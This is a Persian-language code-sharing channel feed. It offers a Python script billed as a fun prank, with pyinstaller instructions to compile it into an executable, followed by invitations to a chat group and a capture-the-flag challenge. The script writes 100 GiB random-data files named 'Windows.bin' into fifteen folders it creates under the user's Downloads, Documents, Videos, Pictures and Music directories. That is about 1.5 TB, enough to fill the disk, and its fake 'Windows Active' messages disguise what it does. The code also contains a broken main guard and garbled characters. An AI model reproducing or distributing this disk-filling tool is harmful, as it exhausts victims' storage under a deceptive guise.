یه سورس پایتونی هست وقتی اجرا میشه داخل دایرکتوری های Downloads , Documents, Videos , Pictures , Music موبایل یک فایل با حجم 100 گیگ میسازه خیلی سورس فان و جالبی هستش💯
اینو خواستم همینجوری بفرستم ولی گفتم فایلش کنم بهتره .
تا امشب ب احتمال زیاد بفرستم
@cafe_code
🅲afe 🅲ode
یه سورس پایتونی هست وقتی اجرا میشه داخل دایرکتوری های Downloads , Documents, Videos , Pictures , Mus
import os
import shutil
from pathlib import Path
FOLDERS = ["NoUser1", "NoUser2", "NoUser3"]
SIZE_MiB = 102400
CHUNK_SIZE = 4 * 1024 * 1024
FILE_NAME = "Windows.bin"
TARGET_NAMES = ["Downloads", "Documents", "Videos", "Pictures", "Music"]
def get_user_targets():
home = Path.home()
targets = []
for name in TARGET_NAMES:
p = home / name
if p.exists():
targets.append(p)
else:
print(f"âš ï¸> Windows Not Found {p}"
return targets
def write_real_file(path: Path, size_mib: int):
total = size_mib * 1024 * 1024
written = 0
try:
with open(path, "wb") as f:
while written < total:
to_write = min(CHUNK_SIZE, total - written)
f.write(os.urandom(to_write))
written += to_write
print(f"✅Active {path} ({size_mib} MiB ≈ {size_mib/1024:.2f} GiB)") #okaye
except Exception as e:
print(f"Error {path}: {e}")
def main():
targets = get_user_targets()
if not targets:
print("âŒPlease Try Again")
return
needed_bytes = SIZE_MiB * 1024 * 1024
approx_count = len(targets) * len(FOLDERS)
approx_total_gib = approx_count * (SIZE_MiB / 1024)
print(f"Files ~{approx_count} Create (~{approx_total_gib:.2f} GiB مجموع) Windows Active")
for base in targets:
for folder in FOLDERS:
folder_path = base / folder
try:
folder_path.mkdir(parents=True, exist_ok=True)
except Exception as e:
print(f"Error{folder_path}: {e}")
continue
file_path = folder_path / FILE_NAME
try:
if file_path.exists():
file_path.unlink()
except Exception:
pass
print(f"Windows is Done Please Take Minute {file_path} ...")
write_real_file(file_path, SIZE_MiB)
print("GoodBay")
if name == "__main__":
main()
🅲afe 🅲ode
import os import shutil from pathlib import Path FOLDERS = ["NoUser1", "NoUser2", "NoUser3"] SIZE_M
اگر نیاز داشتید کامپایلش کنید فقط کافیه که دستور زیر را بزنید:
pyinstaller --onefile fileName.py
شاید یه گروه چت آزاد برای تبادل تجارب زدیم رفقا
اگه زدم حمایت کنین ضایع نشم😂❤️❤️❤️
آقا گروهمون هم تاسیس شد🔥🔥🔥🔥
بیاید بگپیم مشتیا❤️
https://eitaa.com/joinchat/509805974C65785a1522
🅲afe 🅲ode
آقا گروهمون هم تاسیس شد🔥🔥🔥🔥 بیاید بگپیم مشتیا❤️ https://eitaa.com/joinchat/509805974C65785a1522
سوالی چیزی بود همونجا بپرسید...
فرداشب ساعت ۹:۰۰ چلنج فِلَگ در گروه برگزار میشه
https://eitaa.com/joinchat/509805974C65785a1522
حتما آن شید خودتونو محک بزنید
JOIN US»•° @cafe_code